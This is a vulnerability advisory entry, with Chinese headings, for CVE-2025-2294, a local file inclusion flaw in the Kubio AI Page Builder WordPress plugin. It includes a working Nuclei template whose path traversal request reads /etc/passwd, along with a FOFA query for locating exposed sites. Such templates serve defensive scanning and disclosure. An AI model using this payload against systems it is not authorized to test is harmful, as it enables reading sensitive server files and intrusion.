CVE-2025-2294: Kubio AI Page Builder <= 2.5.1 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Kubio AI Page Builder | POC: 已公开

漏洞描述

The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

PoC代码[已公开]

id: CVE-2025-2294

info:
  name: Kubio AI Page Builder <= 2.5.1 - Local File Inclusion
  author: s4e-io
  severity: critical
  description: |
    The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
  remediation: Fixed in 2.5.2
  reference:
    - https://github.com/Nxploited/CVE-2025-2294
    - https://plugins.trac.wordpress.org/browser/kubio/tags/2.5.1/lib/integrations/third-party-themes/editor-hooks.php#L32
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kubio/kubio-ai-page-builder-251-unauthenticated-local-file-inclusion
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2294
    cwe-id: CWE-22
    epss-score: 0.52512
    epss-percentile: 0.97861
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="wp-content/plugins/kubio/"
  tags: cve,cve2025,wp,wordpress,wp-plugin,lfi,kubio,vkev

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/plugins/kubio")'
        internal: true

  - raw:
      - |
        GET /?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - status_code == 200
        condition: and
# digest: 4a0a00473045022077aca40654ebff75dcb91aec86fb3f693076c42e99d0c90672c511ab021f9f26022100fbf85cace50ff0872a9d9c61cd7e1e057388a0dd7ea0424a19563c563220d20a:922c64590222798bb761d5b6d8e72950